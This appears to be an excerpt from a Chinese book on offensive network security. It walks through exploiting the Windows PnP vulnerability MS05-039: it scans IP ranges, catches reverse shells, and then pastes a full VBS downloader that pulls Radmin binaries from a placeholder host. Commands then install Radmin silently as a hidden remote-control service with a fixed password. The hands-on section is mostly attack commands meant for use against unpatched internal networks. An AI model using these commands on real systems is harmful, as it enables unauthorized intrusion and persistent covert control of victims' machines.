- 網絡攻防實戰研究:漏洞利用與提權
- 祝烈煌
- 1086字
- 2019-11-18 15:09:36
2.7 MS05-039漏洞利用實戰
MS05-039漏洞是一個危害極高的漏洞,在未安裝補丁程序的計算機上溢出成功率極高,雖然該漏洞出現的時間已經很長了,但在一些內網系統中由于未對Windows 2000、Windows XP及Windows Server 2003安裝補丁,所以可以直接溢出獲取系統權限。
下面通過一個案例來介紹如何掃描MS05-039漏洞,通過反彈的DOSShell對存在漏洞的計算機實施控制。在本案例中主要通過執行vbs下載腳本并安裝Radmin遠程控制程序來實施控制。
2.7.1 MS05-039漏洞簡介
1.MS05-039漏洞
MS05-039漏洞最初由www.ISS.net的Neel Mehta發現,CVE候選編號為CAN-2005-1983。Windows的即插即用(PnP)功能允許操作系統在安裝新硬件時檢測這些設備。由于該功能中存在緩沖區溢出漏洞,因此成功利用這個漏洞的攻擊者可以完全控制受影響的系統。該漏洞的起因是PnP服務處理含有過多數據的畸形消息的方式。在Windows 2000上,匿名用戶可以通過發送特制消息來利用這個漏洞;在Windows XP Service Pack 1上,只有通過認證的用戶才能發送惡意消息;在Windows XP Service Pack 2和Windows Server 2003上,攻擊者必須從本地登錄系統,然后運行特制的應用程序才能利用這個漏洞。
2.受影響的系統
· Windows 2000 Service Pack 4
· Windows XP Service Pack 1/Service Pack 2
· Windows XP Professional x64
· Windows Server 2003; Windows Server 2003 Service Pack 1
· Windows Server 2003 for Itanium-based Systems; Windows Server 2003 with SP1 for Itanium-based Systems
· Windows Server 2003 x64
3.對應的bug庫
· BUGTRAQ ID: 14513
· CVE(CAN) ID: CVE-2005-1983
2.7.2 實戰MS05-039漏洞利用
1.設置MS05-039漏洞利用程序
在MS05-039漏洞利用程序中分別設置掃描起始IP地址和結束IP地址,其他設置項可采用默認值,如圖2-56所示。

圖2-56 設置MS05-039漏洞利用程序
2.掃描存在MS05-039漏洞的計算機
單擊“Scan”按鈕進行掃描,在掃描過程中,一些狀態會在窗口右下方顯示,當掃描到存在溢出漏洞的計算機后,會反彈一個獨立IP地址的DOSShell并以Telnet的方式顯示,如圖2-57所示。

圖2-57 掃描MS05-039漏洞
3.查看掃描結果
掃描結束后,會顯示開放了445端口的地址,這些地址中有一部分是存在漏洞的計算機。在本例中,外網掃描沒有發現反彈Shell,對某一個計算機網絡的內網進行掃描,得到了一些結果,如圖2-58所示。不過,目前存在MS05-039漏洞的計算機相當少,該漏洞一般存在于不具備網絡條件且沒有安裝補丁程序的內網計算機中。

圖2-58 掃描結果
4.實施控制
將以下vbs腳本復制并粘貼到反彈的DOSShell中。腳本執行完畢,將Radmin的3個程序r_server.exe、raddrv.dll、admdrv.dll下載到系統目錄中。
echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft. xmlhttp") >>dl.vbe echo web.open "get", .arguments(0),0:web.send:if web.status^>200 then quit >>dl.vbe echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile. arguments(1),2:end with >>dl.vbe cscript dl.vbe http://www.somesite.com/AdmDll.dll AdmDll.dll cscript dl.vbe http://www.somesite.com/raddrv.dll raddrv.dll cscript dl.vbe http://www.somesite.com/r_server.exe r_server.exe
5.在DOS環境下安裝Radmin
在其反彈DOSShell中分別執行以下命令。
netstat -an |find "4899" net stop r_server r_server.exe /pass:test123456 /port:4899 /save /silence r_server.exe /install /silence net start r_server net start r_server netstat -an |find "4899"
說明
以上命令以安靜模式安裝R_server,其端口為4899,密碼為“test123456”。在以上批命令中,“net start r_server”命令的目的是確保R_server服務啟動,有時執行1次“net start r_server”不能啟動其服務,所以在批命令中需要執行2次。
6.遠程連接Radmin
在Radmin中新建一個連接,輸入IP地址和默認端口4899。雙擊其IP地址進行連接,在連接時輸入密碼,密碼驗證正確后,進入Telnet控制端。